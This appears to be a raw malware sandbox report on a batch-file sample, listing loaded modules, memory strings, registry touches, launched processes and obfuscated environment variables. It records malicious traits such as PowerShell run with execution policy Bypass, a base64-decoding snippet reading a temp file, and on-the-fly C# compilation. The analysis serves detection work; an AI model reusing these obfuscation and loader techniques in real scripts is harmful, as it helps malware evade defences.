"%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffda8620000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ffdcc3b0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffda7cb0000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffddab70000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffdaed00000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffddb490000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffdaebb0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffdba360000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffdb7b10000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffdc98b0000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffdd1e30000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffdda9c0000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffdd9b20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffdd9140000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffdaead0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffdde2c0000 "powershell.exe" loaded module "USERENV.DLL" at base 7ffdda9f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffdde370000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffdde430000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffda7a70000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ffdce600000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffda6d60000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffdda620000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffdce300000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ffdce850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ffdc86a0000 "powershell.exe" loaded module "PSAPI.DLL" at base 22304980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffdc2510000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffdc23a0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffdae900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ffda8560000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffda81f0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffda80b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffda7f60000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffdc2330000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ffda7e80000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\DIASYMREADER.DLL" at base 7ffda7d10000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ffda7000000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffda6dc0000 "powershell.exe" loaded module "ADVAPI32" at base 7ffdde370000 "explorer.exe" loaded module "SHELL32.DLL" at base 7ffddbe60000 "explorer.exe" loaded module "%WINDIR%\TEMP\VXSSL64.DLL" at base 7ffdcd260000 "explorer.exe" loaded module "MSCOREE.DLL" at base 7ffdce850000 "explorer.exe" loaded module "AMSI.DLL" at base 7ffdd1790000 "explorer.exe" loaded module "ADVAPI32.DLL" at base 7ffdde370000 "explorer.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffddb490000 "explorer.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffddb490000 "explorer.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffddb490000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffdce300000 "explorer.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffddab30000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffdadc30000 "explorer.exe" loaded module "USER32.DLL" at base 7ffdddf00000 "explorer.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffddb490000 "explorer.exe" loaded module "SHLWAPI.DLL" at base 7ffdde0a0000 "explorer.exe" loaded module "NTDLL" at base 7ffdde770000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffdde430000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ffdac630000 "explorer.exe" loaded module "OLE32.DLL" at base 7ffddd880000 "explorer.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffdde430000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffdd9f00000 "explorer.exe" loaded module "KERNEL32.DLL" at base 7ffdde2c0000 "explorer.exe" loaded module "OLEAUT32.DLL" at base 7ffddde30000 "explorer.exe" loaded module "WLDP.DLL" at base 7ffdd9b20000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffdd2d00000 "explorer.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ffdd16c0000 "explorer.exe" loaded module "KERNEL32" at base 7ffdde2c0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\C0FRRDKY.DLL" at base 7ffdcd1a0000 "explorer.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffddb490000 "explorer.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffda7f60000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ffdab9c0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DRAWING\ECE80F2E3752A779E894FD45D8F27E64\SYSTEM.DRAWING.NI.DLL" at base 7ffda6bc0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.WINDOWS.FORMS\B138F79DEA860272EBE6694D9B73F656\SYSTEM.WINDOWS.FORMS.NI.DLL" at base 7ffda5b10000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ffdaaf40000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ffda58e0000 "explorer.exe" loaded module "NTDLL.DLL" at base 7ffdde770000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffda80b0000 "explorer.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ffdae900000 "explorer.exe" loaded module "BCRYPT.DLL" at base 7ffdda620000 "explorer.exe" loaded module "RASAPI32.DLL" at base 7ffdcf4c0000 "explorer.exe" loaded module "RASMAN.DLL" at base 7ffdcf310000 "explorer.exe" loaded module "WS2_32.DLL" at base 7ffddd770000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffdda2f0000 "explorer.exe" loaded module "WINHTTP.DLL" at base 7ffdd70a0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ffdbd280000 "explorer.exe" loaded module "PSAPI.DLL" at base 7ffdde420000 "explorer.exe" loaded module "IPHLPAPI.DLL" at base 7ffdda080000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffdd3560000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffdd4300000 "explorer.exe" loaded module "SECUR32.DLL" at base 7ffdd1e30000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ffdd9e40000 "explorer.exe" loaded module "SSPICLI.DLL" at base 7ffdda9c0000 "explorer.exe" loaded module "MSKEYPROTECT.DLL" at base 7ffdca1e0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ffdcb9a0000 "explorer.exe" loaded module "CRYPT32.DLL" at base 7ffddab70000 "explorer.exe" loaded module "VERSION.DLL" at base 7ffdd2d00000 "explorer.exe" loaded module "OLEAUT32" at base 7ffddde30000 "explorer.exe" loaded module "GDI32.DLL" at base 7ffddbca0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SMARTSCREENPS.DLL" at base 7ffdce5f0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SFC_OS.DLL" at base 7ffdd16a0000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\SHELL32.DLL" at base 7ffddbe60000 "explorer.exe" loaded module "PLOPTIN.DLL" at base 7ffdccf50000 "explorer.exe" loaded module "COMCTL32.DLL" at base 7ffdc95c0000 "explorer.exe" loaded module "DWRITE.DLL" at base 7ffdca200000 "explorer.exe" loaded module "%WINDIR%\SYSTEM32\OLEACC.DLL" at base 7ffdc46e00003a:Ta8a,Found string "powershell_ise.exe" (Indicator: "powershell_ise.exe"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Join-Path" (Indicator: "Join-Path"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Always resolve file paths using Resolve-Path -Relative." (Indicator: "Resolve-Path"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Variable to hold all default pairse used instead of the HostName parameter in the Send-MailMessage cmd" (Indicator: "Send-MailMessage"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet.ater than $ConfirmPreference. If $ConfirmPreference is None, actions will only be confirmed when Confirm is specified." (Indicator: "Send-MailMessage"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Variable to contain the name of the email server. This can be used instead of the HostName parameter in the Send-MailMessage cmdlet." (Indicator: "Send-MailMessage"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Resolve-Path" (Indicator: "Resolve-Path"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Write-Output" (Indicator: "Write-Output"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Show-Command" (Indicator: "Show-Command"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Trace-Command" (Indicator: "Trace-Command"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Pop-Location" (Indicator: "Pop-Location"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Push-Location" (Indicator: "Push-Location"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Select-String" (Indicator: "Select-String"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Test-ModuleManifest" (Indicator: "Test-ModuleManifest"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Enter-PSHostProcess" (Indicator: "Enter-PSHostProcess"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Exit-PSHostProcess" (Indicator: "Exit-PSHostProcess"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp") Found string "Save-Help" (Indicator: "Save-Help"; Source: "00000000-00001332.00000000.168324.4EBB0000.00000004.mdmp")3b:Tc58,"powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "powershell.exe" touched "NDP SymBinder" (Path: "HKCU\CLSID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\INPROCSERVER32") "explorer.exe" touched "PSFactoryBuffer" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}") "explorer.exe" touched "Window Property Store" (Path: "HKCU\CLSID\{56AD4C5D-B908-4F85-8FF1-7940C29B3BCF}\INSTANCE") "explorer.exe" touched "Ptype_PSFactory" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{11659A23-5884-4D1B-9CF6-67D6F4F90B36}") "explorer.exe" touched "User Pinned" (Path: "HKCU\CLSID\{1F3427C8-5C10-4210-AA03-2EE45287D668}\INSTANCE") "explorer.exe" touched "Shell File System Folder" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{0E5AAE11-A475-4C5B-AB00-C66DE400274E}\INPROCSERVER32") "explorer.exe" touched "Sync root manager" (Path: "HKCU\CLSID\{F324E4F9-8496-40B2-A1FF-9617C1C9AFFE}\INSTANCE") "explorer.exe" touched "Start Menu Pin" (Path: "HKCU\CLSID\{A2A9545D-A0C2-42B4-9708-A0B2BADD77C8}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Previous Versions Property Page" (Path: "HKCU\CLSID\{596AB062-B4D2-4215-9F74-E9109B0A8153}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Groove GFS Context Menu Handler" (Path: "HKCU\CLSID\{6C467336-8281-4E60-8204-430CED96822D}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Microsoft SendTo Service" (Path: "HKCU\CLSID\{7BA4C740-9E81-11CF-99D3-00AA004AE837}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Copy as Path Menu" (Path: "HKCU\CLSID\{F3D06E7C-1E45-4A26-847E-F9FCDEE59BE0}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Shortcut" (Path: "HKCU\CLSID\{00021401-0000-0000-C000-000000000046}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Taskband Pin" (Path: "HKCU\CLSID\{90AA3A4E-1CBA-4233-B8BB-535773D48449}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Shell extensions for sharing" (Path: "HKCU\CLSID\{F81E9010-6EA4-11CE-A7FF-00AA003CA9F6}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Open With Context Menu Handler" (Path: "HKCU\CLSID\{09799AFB-AD67-11D1-ABCD-00C04FC30936}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Ribbon Modern Share Verb" (Path: "HKCU\CLSID\{E2BF9676-5F8F-435C-97EB-11607A5BEDF7}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Pin To Start Screen verb handler" (Path: "HKCU\CLSID\{470C0EBD-5D73-4D58-9CED-E91E22E23282}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "CompatContextMenu Class" (Path: "HKCU\CLSID\{1D27F844-3A1F-4410-85AC-14651078412D}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Open Containing Folder Menu" (Path: "HKCU\CLSID\{37EA3A21-7493-4208-A011-7F9EA79CE9F5}\SHELLEX\MAYCHANGEDEFAULTMENU") "explorer.exe" touched "Security Manager" (Path: "HKCU\CLSID\{7B8A2D94-0AC9-11D1-896C-00C04FB6BFC4}\TREATAS") "explorer.exe" touched "ShellItemArray Shell Namespace helper" (Path: "HKCU\CLSID\{CDC82860-468D-4D4E-B7E7-C298FF23AB2C}\TREATAS") "explorer.exe" touched "User Assist" (Path: "HKCU\CLSID\{DD313E04-FEFF-11D1-8ECD-0000F87A470C}\TREATAS")3c:T4a6,Observed system executable string:"%WINDIR%\System32\cmd.exe" [Source: 00000000-00004164-00000BC0-1536642441] Observed system executable string:"%WINDIR%\system32\cmd.exe" [Source: 00000000-00004164-00000C47-2446587598] Observed system executable string:"%WINDIR%\system32\cmd.exe /K "C:\6fd8b59fa6f120cce3a6ac43e754b0b54c001e5bda90b38b26e5b77bd43de268.bin.bat"" [Source: 00000000-00004164-00000C47-2446587598] Observed system executable string:"%WINDIR%\System32\attrib.exe" [Source: 00000000-00001120-00000BC0-1537572898] Observed system executable string:"%WINDIR%\System32\reg.exe" [Source: 00000000-00001120-00000BC0-1537596388] Observed system executable string:"%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe" [Source: 00000000-00001120-00000BC0-1559822548] Observed system executable string:"%WINDIR%\system32\attrib.exe" [Source: 00000000-00001120-00000C47-1880125022] Observed system executable string:"%WINDIR%\system32\reg.exe" [Source: 00000000-00001120-00000C47-1932445244] Observed system executable string:""%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"%TEMP%\uiju15fo\uiju" [Source: 00000000-00001612-00000C47-21528168217]3d:T3846,Process "cmd.exe" (UID: 00000000-00001120) was launched with new environment variables: "devote="%LOCALAPPDATA%\Temp", mostly="C:\", RELIGIOUS="r", Cause="y", Work="c", TONIGHT="e", USERDNSDOMAIN="DESKTOP-FVVF82A", Head="DESKTOP-FVVF82A", musical="%LOCALAPPDATA%\Temp", Yesterday="p", MASSIVE="H", LITERARY="32", Deer="3000", Edition="%HOSTNAME%", DIFFICULT="d", Chemical="B", dish="l", SOMETHING="I", Finding="n", oppose="C:\Users\%OSUSER%", intervention="i", strong="30917791", legacy="1", Pause="o", BLUE="%LOCALAPPDATA%\Temp", ACWM0F="1", REPORTER="t", PRETTY="2958", lean="1", subsequent="%HOSTNAME%", DIRECT="1", WRAP="a", SUCCESS="f", social="s", PLACE="ok", EDUCATIONAL="1", Reading="C:\Users\%OSUSER%", Drag="h", FALSE="v", NORMAL="C:\", Latter="w", pocket="N"" Process "cmd.exe" (UID: 00000000-00001120) was launched with modified environment variables: "PROCESSOR_ARCHITECTURE, ProgramFiles, CommonProgramFiles, NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00001120) was launched with missing environment variables: "PROCESSOR_ARCHITEW6432" Process "attrib.exe" (UID: 00000000-00005900) was launched with modified environment variables: "LITERARY, Deer, strong, PRETTY" Process "powershell.exe" (UID: 00000000-00001332) was launched with new environment variables: "RESIST="%OSUSER%", relate="C:\", Consumer="ok", easily="C:\", payment="912", Rule="Windows_NT", C_B64="GetString([Convert]::FromBase64String((Get-Content '%TEMP%\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))", FREQUENTLY="%TEMP%\SHARP.ps1", punishment="%LOCALAPPDATA%\Temp", prescription="ok", Super="1", publication="DESKTOP-FVVF82A", PIANO="1314", Legislation="C:\Users\%OSUSER%", COOKIE="1", line="%TEMP%\corner.tmp", Debate="38", multiple="Windows_NT", differ="2483"" Process "csc.exe" (UID: 00000000-00000604) was launched with new environment variables: "computername="DESKTOP-FVVF82A", pathext=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL", path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%APPDATA%\nvm;C:\Program Files\nodejs;%APPDATA%\nvm;C:\Program Files\nodejs", piano="1314", comspec="%WINDIR%\system32\cmd.exe", tmp="%LOCALAPPDATA%\Temp", drag="h", cookie="1", sslkeylogfile="%TEMP%\sslkey.txt", work="c", userprofile="C:\Users\%OSUSER%", something="I", programfiles="C:\Program Files", chemical="B", processor_level="6", userdomain_roamingprofile="DESKTOP-FVVF82A", commonprogramfiles(x86)="%PROGRAMFILES%\(x86)\Common Files", religious="r", processor_architecture="AMD64", frequently="%TEMP%\SHARP.ps1", literary="28", direct="1", logonserver="%HOSTNAME%", nvm_symlink="%PROGRAMFILES%\nodejs", c_b64="GetString([Convert]::FromBase64String((Get-Content '%TEMP%\corner.tmp' -Raw).Replace('`r','').Replace('`n','')))", place="ok", legislation="C:\Users\%OSUSER%", reporter="t", programdata="C:\ProgramData", massive="H", blue="%LOCALAPPDATA%\Temp", nvm_home="%APPDATA%\nvm", programfiles(x86)="%PROGRAMFILES%\(x86)", psmodulepath="C:\Users\%OSUSER%\Documents\WindowsPowerShell\Modules;%PROGRAMFILES%\WindowsPowerShell\Modules;%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", onedrive="%USERPROFILE%\OneDrive", wrap="a", systemdrive="C:", tonight="e", programw6432="C:\Program Files", commonprogramfiles="%PROGRAMFILES%\Common Files", homedrive="C:", debate="38", psexecutionpolicypreference="Bypass", homepath="\Users\%OSUSER%", sessionname="Console", processor_revision="4f00", acwm0f="1", educational="1", localappdata="%USERPROFILE%\AppData\Local", curl_ca_bundle="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", resist="%OSUSER%", difficult="d", finding="n", number_of_processors="8", pause="o", success="f", userdnsdomain="DESKTOP-FVVF82A", deer="3100", processor_identifier="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", cause="y", edition="%HOSTNAME%", rule="Windows_NT", systemroot="C:\WINDOWS", head="DESKTOP-FVVF82A", userdomain="DESKTOP-FVVF82A", yesterday="p", commonprogramw6432="%PROGRAMFILES%\Common Files", allusersprofile="C:\ProgramData", public="C:\Users\Public", consumer="ok", normal="C:\", pretty="2088", temp="%LOCALAPPDATA%\Temp", os="Windows_NT", false="v", reading="C:\Users\%OSUSER%", super="1", latter="w", prompt="$P$G", _clrrestrictsecattributes="1", appdata="%USERPROFILE%\AppData\Roaming", username="%OSUSER%"" Process "csc.exe" (UID: 00000000-00000604) was launched with missing environment variables: "NVM_SYMLINK, SSLKEYLOGFILE, SESSIONNAME, ALLUSERSPROFILE, RESIST, SystemDrive, Consumer, Work, USERNAME, ProgramFiles(x86), Head, PATHEXT, Deer, Edition, Chemical, HOMEPATH, PROCESSOR_IDENTIFIER, SOMETHING, Finding, ProgramFiles, PUBLIC, Rule, Pause, BLUE, PROMPT, ACWM0F, PRETTY, OneDrive, APPDATA, C_B64, FREQUENTLY, Path, WRAP, SUCCESS, COMPUTERNAME, PLACE, ComSpec, EDUCATIONAL, Drag, HOMEDRIVE, NUMBER_OF_PROCESSORS, NORMAL, Latter, USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, RELIGIOUS, PROCESSOR_ARCHITECTURE, PSModulePath, Super, Cause, TONIGHT, USERDNSDOMAIN, PIANO, CURL_CA_BUNDLE, Legislation, Yesterday, MASSIVE, LITERARY, ProgramData, DIFFICULT, ProgramW6432, COOKIE, LOCALAPPDATA, USERDOMAIN, LOGONSERVER, REPORTER, Debate, DIRECT, CommonProgramFiles, OS, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, Reading, SystemRoot, TEMP, USERPROFILE, TMP, CommonProgramFiles(x86), FALSE" Process "explorer.exe" (UID: 00000000-00005336) was launched with new environment variables: "NVM_SYMLINK="%PROGRAMFILES%\nodejs", SSLKEYLOGFILE="%TEMP%\sslkey.txt", SESSIONNAME="Console", ALLUSERSPROFILE="C:\ProgramData", SystemDrive="C:", USERNAME="%OSUSER%", ProgramFiles(x86)="%PROGRAMFILES%\(x86)", PATHEXT=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC", HOMEPATH="\Users\%OSUSER%", PROCESSOR_IDENTIFIER="Intel64 Family 6 Model 79 Stepping 0 GenuineIntel", ProgramFiles="C:\Program Files", PUBLIC="C:\Users\Public", OneDrive="%USERPROFILE%\OneDrive", APPDATA="%USERPROFILE%\AppData\Roaming", Path="C:\ProgramData\Oracle\Java\javapath;%WINDIR%\system32;%WINDIR%\%WINDIR%\System32\Wbem;%WINDIR%\System32\WindowsPowerShell\v1.0\;%NVM_HOME%;%NVM_SYMLINK%;%APPDATA%\nvm;C:\Program Files\nodejs", COMPUTERNAME="DESKTOP-FVVF82A", ComSpec="%WINDIR%\system32\cmd.exe", HOMEDRIVE="C:", NUMBER_OF_PROCESSORS="2", USERDOMAIN_ROAMINGPROFILE="DESKTOP-FVVF82A", PROCESSOR_LEVEL="6", PROCESSOR_ARCHITECTURE="AMD64", PSModulePath="%WINDIR%\system32\WindowsPowerShell\v1.0\Modules\;%PROGRAMFILES%\(x86)\AutoIt3\AutoItX", USERDNSDOMAIN="DESKTOP-FVVF82A", CURL_CA_BUNDLE="%USERPROFILE%\.mitmproxy\mitmproxy-ca-cert.cer", ProgramData="C:\ProgramData", ProgramW6432="C:\Program Files", LOCALAPPDATA="%USERPROFILE%\AppData\Local", USERDOMAIN="DESKTOP-FVVF82A", LOGONSERVER="%HOSTNAME%", CommonProgramFiles="%PROGRAMFILES%\Common Files", OS="Windows_NT", NVM_HOME="%APPDATA%\nvm", PROCESSOR_REVISION="4f00", CommonProgramW6432="%PROGRAMFILES%\Common Files", SystemRoot="C:\WINDOWS", TEMP="%LOCALAPPDATA%\Temp", 